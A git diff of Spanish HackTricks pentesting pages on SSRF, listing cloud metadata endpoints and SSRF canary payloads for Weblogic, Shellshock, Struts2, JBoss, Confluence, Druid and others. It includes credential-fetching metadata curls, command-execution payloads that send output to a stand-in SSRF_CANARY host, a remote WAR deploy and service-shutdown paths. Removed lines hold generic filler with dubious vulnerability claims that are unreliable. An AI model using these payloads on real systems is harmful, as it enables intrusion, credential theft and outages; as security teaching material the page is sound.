Ten en cuenta que en IBM por defecto los metadatos no están habilitados, por lo que es posible que no puedas acceder a ellos incluso si estás dentro de una VM de IBM Cloud
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -482,15 +482,13 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
|
|||
# Get IAM credentials
|
||||
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Packetcloud <a href="#2af0" id="2af0"></a>
|
||||
|
||||
Documentación disponible en [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
|
||||
|
||||
(¿se requiere encabezado? desconocido)
|
||||
(se requiere encabezado? desconocido)
|
||||
```
|
||||
http://169.254.169.254/openstack
|
||||
```
|
||||
|
@ -501,30 +499,6 @@ http://169.254.169.254/openstack
|
|||
http://169.254.169.254/2009-04-04/meta-data/
|
||||
```
|
||||
## Oracle Cloud <a href="#a723" id="a723"></a>
|
||||
|
||||
Oracle Cloud is a cloud computing platform provided by Oracle Corporation. It offers a wide range of cloud services, including infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS). With its robust infrastructure and comprehensive set of tools, Oracle Cloud is a popular choice for businesses looking to leverage the power of the cloud.
|
||||
|
||||
## SSRF (Server-Side Request Forgery) en la nube
|
||||
|
||||
SSRF (Server-Side Request Forgery) es una vulnerabilidad común que puede ocurrir en aplicaciones web que permiten a los usuarios enviar solicitudes desde el servidor hacia otros recursos en la red. Esta vulnerabilidad puede ser explotada para realizar ataques maliciosos, como escanear puertos internos, acceder a servicios internos no autorizados o incluso filtrar información confidencial.
|
||||
|
||||
En el contexto de la nube, SSRF puede ser especialmente peligroso, ya que los servidores en la nube a menudo tienen acceso a recursos sensibles y confidenciales. Si un atacante logra explotar una vulnerabilidad SSRF en un servidor en la nube, podría acceder a servicios internos, como bases de datos o sistemas de almacenamiento, y potencialmente comprometer la seguridad de toda la infraestructura.
|
||||
|
||||
Es importante tener en cuenta que la explotación de SSRF en la nube puede ser más complicada debido a las medidas de seguridad adicionales implementadas por los proveedores de servicios en la nube. Sin embargo, no se debe subestimar la importancia de protegerse contra esta vulnerabilidad y tomar las medidas necesarias para mitigar los riesgos asociados.
|
||||
|
||||
A continuación, se presentan algunas recomendaciones para protegerse contra SSRF en la nube:
|
||||
|
||||
1. Validar y filtrar las entradas del usuario: Es fundamental validar y filtrar cuidadosamente todas las entradas del usuario para evitar que se utilicen para realizar solicitudes no deseadas. Esto incluye la validación de URL, direcciones IP y otros parámetros relevantes.
|
||||
|
||||
2. Limitar los permisos de red: Es importante restringir los permisos de red de los servidores en la nube para limitar su capacidad de acceder a recursos sensibles. Esto puede incluir la configuración de reglas de firewall y la implementación de listas de control de acceso (ACL) para restringir el tráfico de red.
|
||||
|
||||
3. Utilizar listas blancas de direcciones IP: En lugar de permitir el acceso a cualquier dirección IP, se recomienda utilizar listas blancas de direcciones IP para permitir únicamente el acceso a los recursos autorizados. Esto ayuda a prevenir ataques SSRF al restringir las solicitudes a direcciones IP específicas.
|
||||
|
||||
4. Monitorear y registrar las solicitudes salientes: Es importante monitorear y registrar todas las solicitudes salientes desde los servidores en la nube para detectar posibles actividades sospechosas. Esto puede ayudar a identificar intentos de explotar vulnerabilidades SSRF y tomar medidas preventivas.
|
||||
|
||||
5. Mantenerse actualizado con los parches de seguridad: Los proveedores de servicios en la nube suelen lanzar parches de seguridad y actualizaciones regulares para abordar las vulnerabilidades conocidas. Es importante mantenerse actualizado con estas actualizaciones y aplicar los parches de seguridad correspondientes para protegerse contra las últimas amenazas.
|
||||
|
||||
Al seguir estas recomendaciones y adoptar buenas prácticas de seguridad, se puede reducir significativamente el riesgo de explotación de SSRF en la nube y proteger la infraestructura de la organización.
|
||||
```
|
||||
http://192.0.0.192/latest/
|
||||
http://192.0.0.192/latest/user-data/
|
||||
|
@ -532,20 +506,6 @@ http://192.0.0.192/latest/meta-data/
|
|||
http://192.0.0.192/latest/attributes/
|
||||
```
|
||||
## Alibaba <a href="#51bd" id="51bd"></a>
|
||||
|
||||
Alibaba is a cloud service provider based in China. It offers a wide range of services, including computing, storage, networking, and security solutions. Alibaba Cloud, also known as Aliyun, is the cloud computing arm of Alibaba Group. It provides scalable and secure cloud computing services to businesses and individuals worldwide.
|
||||
|
||||
Alibaba Cloud offers various products and services, such as Elastic Compute Service (ECS), Object Storage Service (OSS), Virtual Private Cloud (VPC), and Web Application Firewall (WAF). These services can be used to build and deploy applications, store and retrieve data, and protect web applications from attacks.
|
||||
|
||||
As a penetration tester, it is important to understand the security features and vulnerabilities associated with Alibaba Cloud. One common vulnerability that can be exploited is Server-Side Request Forgery (SSRF). SSRF allows an attacker to make requests from the vulnerable server to internal or external resources, potentially leading to unauthorized access or data leakage.
|
||||
|
||||
When testing for SSRF vulnerabilities in Alibaba Cloud, it is important to identify the endpoints that can be accessed by the server. This can include internal services, such as metadata servers or other cloud resources, as well as external services accessible over the internet.
|
||||
|
||||
To exploit an SSRF vulnerability in Alibaba Cloud, an attacker can craft a malicious request that tricks the server into making a request to a specific endpoint. This can be done by manipulating the URL or parameters of the request to redirect it to the desired target.
|
||||
|
||||
To prevent SSRF attacks in Alibaba Cloud, it is important to implement proper input validation and sanitization techniques. This includes validating user input, restricting access to internal resources, and using whitelists or blacklists to filter out potentially malicious URLs.
|
||||
|
||||
In conclusion, Alibaba Cloud is a popular cloud service provider that offers a wide range of services. However, it is important to be aware of the security risks associated with SSRF vulnerabilities and take appropriate measures to mitigate them.
|
||||
```
|
||||
http://100.100.100.200/latest/meta-data/
|
||||
http://100.100.100.200/latest/meta-data/instance-id
|
||||
|
@ -553,7 +513,7 @@ http://100.100.100.200/latest/meta-data/image-id
|
|||
```
|
||||
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
|
||||
|
||||
Puede contener claves de API y direcciones IP y puertos internos.
|
||||
Puede contener claves API e IP internas y puertos
|
||||
```
|
||||
curl -L http://127.0.0.1:2379/version
|
||||
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
||||
|
@ -566,34 +526,28 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
|||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||||
```
|
||||
## Rancher <a href="#8cb7" id="8cb7"></a>
|
||||
|
||||
Rancher is a popular open-source container management platform that allows you to easily deploy and manage containers in your infrastructure. It provides a user-friendly interface for managing containerized applications and supports various container orchestration frameworks such as Kubernetes, Docker Swarm, and Apache Mesos.
|
||||
|
||||
Rancher simplifies the process of deploying and scaling containers by providing a centralized management interface. It allows you to create and manage container clusters, monitor container health and performance, and easily scale your applications.
|
||||
|
||||
One of the key features of Rancher is its ability to integrate with various cloud providers and SaaS platforms. This allows you to easily deploy your containers on popular cloud platforms such as AWS, GCP, and Azure, as well as on-premises infrastructure.
|
||||
|
||||
Rancher also provides advanced networking capabilities, allowing you to define and manage network policies for your containers. This includes features such as load balancing, service discovery, and network isolation.
|
||||
|
||||
Overall, Rancher is a powerful tool for managing containerized applications and simplifying the deployment and management of containers in your infrastructure. Whether you are running containers on-premises or in the cloud, Rancher provides a user-friendly interface and advanced features to help you effectively manage your containerized applications.
|
||||
```
|
||||
curl http://rancher-metadata/<version>/<path>
|
||||
```
|
||||
```markdown
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que realmente importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -26,9 +28,9 @@ Si tienes un SSRF parcialmente ciego donde puedes determinar el código de estad
|
|||
/_cat/indices
|
||||
/_cat/health
|
||||
```
|
||||
Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes apagar la instancia de Elasticsearch enviando una solicitud POST a la siguiente ruta:
|
||||
Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes cerrar la instancia de Elasticsearch enviando una solicitud POST al siguiente camino:
|
||||
|
||||
Nota: la API `_shutdown` ha sido eliminada a partir de la versión 2.x de Elasticsearch. Esto solo funciona en Elasticsearch 1.6 y versiones anteriores:
|
||||
Nota: la API `_shutdown` ha sido eliminada de la versión 2.x. de Elasticsearch en adelante. Esto solo funciona en Elasticsearch 1.6 y versiones anteriores:
|
||||
```http
|
||||
/_shutdown
|
||||
/_cluster/nodes/_master/_shutdown
|
||||
|
@ -37,9 +39,9 @@ Nota: la API `_shutdown` ha sido eliminada a partir de la versión 2.x de Elasti
|
|||
```
|
||||
## Weblogic
|
||||
|
||||
**Puertos comúnmente enlazados: 80, 443 (SSL), 7001, 8888**
|
||||
**Puertos comúnmente asignados: 80, 443 (SSL), 7001, 8888**
|
||||
|
||||
**Canario SSRF: UDDI Explorer (CVE-2014-4210)**
|
||||
**SSRF Canary: UDDI Explorer (CVE-2014-4210)**
|
||||
```http
|
||||
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
|
||||
Host: target.com
|
||||
|
@ -52,7 +54,7 @@ Esto también funciona a través de GET:
|
|||
```bash
|
||||
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
|
||||
```
|
||||
Este punto final también es vulnerable a la inyección de CRLF:
|
||||
Este endpoint también es vulnerable a la inyección CRLF:
|
||||
```
|
||||
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
|
||||
Host: vuln.weblogic
|
||||
|
@ -98,41 +100,7 @@ Content-Length: 117
|
|||
|
||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
||||
```
|
||||
# Plataformas vulnerables a SSRF (Server-Side Request Forgery)
|
||||
|
||||
## Windows:
|
||||
|
||||
### IIS (Internet Information Services)
|
||||
|
||||
IIS es un servidor web desarrollado por Microsoft para sistemas operativos Windows. Es una plataforma comúnmente utilizada para alojar aplicaciones web y sitios web. IIS ha sido conocido por ser vulnerable a ataques de SSRF en versiones anteriores, especialmente cuando se configura incorrectamente.
|
||||
|
||||
### .NET Framework
|
||||
|
||||
El .NET Framework es un entorno de desarrollo de software desarrollado por Microsoft. Las aplicaciones web desarrolladas en .NET Framework pueden ser vulnerables a ataques de SSRF si no se implementan medidas de seguridad adecuadas.
|
||||
|
||||
### SharePoint
|
||||
|
||||
SharePoint es una plataforma de colaboración desarrollada por Microsoft. Permite a las organizaciones crear sitios web y aplicaciones para compartir información y colaborar en proyectos. Las versiones anteriores de SharePoint han sido conocidas por ser vulnerables a ataques de SSRF si no se aplican las actualizaciones de seguridad necesarias.
|
||||
|
||||
### Remote Desktop Protocol (RDP)
|
||||
|
||||
El Protocolo de Escritorio Remoto (RDP) es un protocolo desarrollado por Microsoft que permite a los usuarios controlar de forma remota un equipo Windows a través de una red. Las implementaciones incorrectas de RDP pueden ser vulnerables a ataques de SSRF si no se configuran correctamente los permisos y las restricciones de acceso.
|
||||
|
||||
### Windows Management Instrumentation (WMI)
|
||||
|
||||
WMI es una infraestructura de administración de Windows desarrollada por Microsoft. Permite a los administradores de sistemas acceder y controlar los recursos y servicios de un sistema Windows de forma remota. Las implementaciones incorrectas de WMI pueden ser vulnerables a ataques de SSRF si no se aplican las medidas de seguridad adecuadas.
|
||||
|
||||
### Microsoft Azure
|
||||
|
||||
Microsoft Azure es una plataforma de computación en la nube desarrollada por Microsoft. Permite a los usuarios implementar y administrar aplicaciones y servicios en una infraestructura escalable y segura. Algunos servicios de Azure pueden ser vulnerables a ataques de SSRF si no se configuran correctamente los permisos y las políticas de seguridad.
|
||||
|
||||
### Microsoft Office 365
|
||||
|
||||
Microsoft Office 365 es una suite de productividad en la nube desarrollada por Microsoft. Proporciona aplicaciones y servicios como correo electrónico, almacenamiento en la nube y colaboración en línea. Algunos componentes de Office 365 pueden ser vulnerables a ataques de SSRF si no se aplican las medidas de seguridad adecuadas.
|
||||
|
||||
### Otros servicios y aplicaciones de Microsoft
|
||||
|
||||
Además de las plataformas mencionadas anteriormente, otros servicios y aplicaciones de Microsoft pueden ser vulnerables a ataques de SSRF si no se implementan las medidas de seguridad adecuadas. Es importante mantenerse actualizado con las últimas actualizaciones de seguridad y seguir las mejores prácticas recomendadas por Microsoft para proteger los sistemas y aplicaciones.
|
||||
Windows:
|
||||
```http
|
||||
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: vulnerablehost:7001
|
||||
|
@ -149,43 +117,43 @@ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su
|
|||
```
|
||||
## Hashicorp Consul
|
||||
|
||||
**Puertos comúnmente utilizados: 8500, 8501 (SSL)**
|
||||
**Puertos comúnmente asignados: 8500, 8501 (SSL)**
|
||||
|
||||
Puedes encontrar más información [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
|
||||
Puedes encontrar el artículo [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
|
||||
|
||||
## Shellshock
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080**
|
||||
**Puertos comúnmente asignados: 80, 443 (SSL), 8080**
|
||||
|
||||
Para probar eficazmente Shellshock, es posible que necesites agregar un encabezado que contenga la carga útil. Vale la pena probar las siguientes rutas CGI:
|
||||
Para probar efectivamente Shellshock, puede ser necesario agregar un encabezado que contenga el payload. Los siguientes caminos CGI son recomendables para probar:
|
||||
|
||||
Lista corta de rutas CGI para probar:
|
||||
Lista corta de caminos CGI para probar:
|
||||
|
||||
[Gist que contiene las rutas](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
||||
[Gist con los caminos](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
||||
|
||||
**SSRF Canary: Shellshock a través del Agente de Usuario**
|
||||
**SSRF Canary: Shellshock a través de User Agent**
|
||||
```bash
|
||||
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
||||
```
|
||||
## Apache Druid
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 8080, 8888, 8082**
|
||||
**Puertos comúnmente asignados: 80, 8080, 8888, 8082**
|
||||
|
||||
Consulte la referencia de la API de Apache Druid [aquí](https://druid.apache.org/docs/latest/operations/api-reference.html).
|
||||
Consulta la referencia de la API para Apache Druid [aquí](https://druid.apache.org/docs/latest/operations/api-reference.html).
|
||||
|
||||
Si puede ver el código de estado, verifique las siguientes rutas para ver si devuelven un código de estado 200:
|
||||
Si puedes ver el código de estado, verifica las siguientes rutas para ver si devuelven un código de estado 200:
|
||||
```bash
|
||||
/status/selfDiscovered/status
|
||||
/druid/coordinator/v1/leader
|
||||
/druid/coordinator/v1/metadata/datasources
|
||||
/druid/indexer/v1/taskStatus
|
||||
```
|
||||
Tareas de apagado, requiere adivinar IDs de tareas o el nombre del origen de datos:
|
||||
Tareas de apagado, requiere que adivines los ID de tareas o el nombre del origen de datos:
|
||||
```bash
|
||||
/druid/indexer/v1/task/{taskId}/shutdown
|
||||
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
|
||||
```
|
||||
Apagar supervisores en Apache Druid Overlords:
|
||||
Supervisores de apagado en Apache Druid Overlords:
|
||||
```bash
|
||||
/druid/indexer/v1/supervisor/terminateAll
|
||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
||||
|
@ -196,9 +164,9 @@ Apagar supervisores en Apache Druid Overlords:
|
|||
|
||||
**SSRF Canary: Parámetro Shards**
|
||||
|
||||
> Para agregar a lo que shubham está diciendo, escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar si estás alcanzando una instancia de solr a ciegas.
|
||||
> Para añadir a lo que shubham está diciendo - escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás impactando una instancia de solr a ciegas.
|
||||
>
|
||||
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de enero de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref\_src=twsrc%5Etfw)
|
||||
> — Хавиж Наффи 🥕 (@nnwakelam) [13 de enero de 2021](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
|
||||
|
||||
Tomado de [aquí](https://github.com/veracode-research/solr-injection).
|
||||
```bash
|
||||
|
@ -220,7 +188,7 @@ Tomado de [aquí](https://github.com/veracode-research/solr-injection).
|
|||
|
||||
## PeopleSoft
|
||||
|
||||
**Puertos comúnmente utilizados: 80,443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL)**
|
||||
|
||||
Tomado de esta investigación [aquí](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
||||
|
||||
|
@ -260,43 +228,7 @@ Content-Type: application/xml
|
|||
</ContentSections>
|
||||
</IBRequest>
|
||||
```
|
||||
# Plataformas vulnerables a SSRF (Server-Side Request Forgery)
|
||||
|
||||
A continuación se presenta una lista de plataformas que son conocidas por ser vulnerables a SSRF. Estas plataformas pueden ser utilizadas para practicar técnicas de pentesting y mejorar la comprensión de cómo funciona SSRF.
|
||||
|
||||
## Plataformas de nube/SaaS
|
||||
|
||||
- **Workspace**: Una plataforma de colaboración en línea que permite a los usuarios compartir y editar documentos en tiempo real. Es conocida por ser vulnerable a SSRF en su función de carga de archivos.
|
||||
|
||||
- **AWS (Amazon Web Services)**: Un conjunto de servicios en la nube que ofrecen almacenamiento, cómputo y otras funcionalidades. AWS ha tenido varios casos de vulnerabilidades de SSRF en servicios como EC2, S3 y RDS.
|
||||
|
||||
- **GCP (Google Cloud Platform)**: Una plataforma de servicios en la nube proporcionada por Google. GCP ha tenido casos de vulnerabilidades de SSRF en servicios como Compute Engine y Cloud Functions.
|
||||
|
||||
- **Azure**: La plataforma de servicios en la nube de Microsoft. Azure ha tenido casos de vulnerabilidades de SSRF en servicios como Virtual Machines y Blob Storage.
|
||||
|
||||
## Plataformas de correo electrónico
|
||||
|
||||
- **Exchange**: Un servidor de correo electrónico desarrollado por Microsoft. Exchange ha tenido casos de vulnerabilidades de SSRF en su función de redirección de URL.
|
||||
|
||||
- **Postfix**: Un servidor de correo electrónico de código abierto. Postfix ha tenido casos de vulnerabilidades de SSRF en su función de redirección de URL.
|
||||
|
||||
## Plataformas de bases de datos
|
||||
|
||||
- **MySQL**: Un sistema de gestión de bases de datos relacional de código abierto. MySQL ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.
|
||||
|
||||
- **PostgreSQL**: Un sistema de gestión de bases de datos relacional de código abierto. PostgreSQL ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.
|
||||
|
||||
- **MongoDB**: Una base de datos NoSQL de código abierto. MongoDB ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.
|
||||
|
||||
## Plataformas de almacenamiento en la nube
|
||||
|
||||
- **S3 (Amazon Simple Storage Service)**: Un servicio de almacenamiento en la nube proporcionado por AWS. S3 ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.
|
||||
|
||||
- **Google Cloud Storage**: Un servicio de almacenamiento en la nube proporcionado por GCP. Google Cloud Storage ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.
|
||||
|
||||
- **Azure Blob Storage**: Un servicio de almacenamiento en la nube proporcionado por Azure. Azure Blob Storage ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.
|
||||
|
||||
Estas plataformas son solo algunos ejemplos de sistemas que han sido vulnerables a SSRF en el pasado. Es importante tener en cuenta que las vulnerabilidades pueden ser corregidas y las plataformas pueden actualizarse para mitigar los riesgos de SSRF. Sin embargo, es fundamental comprender cómo funcionan estas vulnerabilidades y cómo pueden ser explotadas para realizar pruebas de penetración efectivas.
|
||||
**SSRF Canary: XXE #2**
|
||||
```http
|
||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
|
@ -307,29 +239,29 @@ Content-Type: application/xml
|
|||
```
|
||||
## Apache Struts
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Puertos comunes: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
|
||||
**SSRF Canary: Struts2-016**:
|
||||
|
||||
Agrega esto al final de cada punto final/URL interno que conozcas:
|
||||
Añade esto al final de cada punto final/interno URL que conozcas:
|
||||
```http
|
||||
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
|
||||
```
|
||||
## JBoss
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
||||
|
||||
**Canario SSRF: Desplegar WAR desde URL**
|
||||
**SSRF Canary: Desplegar WAR desde URL**
|
||||
```bash
|
||||
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
|
||||
```
|
||||
## Confluence
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
**SSRF Canary: Sharelinks (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)**
|
||||
```bash
|
||||
|
@ -337,29 +269,29 @@ Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|||
```
|
||||
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
|
||||
|
||||
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
[Ticket de Seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
||||
```bash
|
||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
||||
```
|
||||
## Jira
|
||||
|
||||
**Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)**
|
||||
**Puertos comúnmente asignados: 80,443 (SSL),8080,8443 (SSL)**
|
||||
|
||||
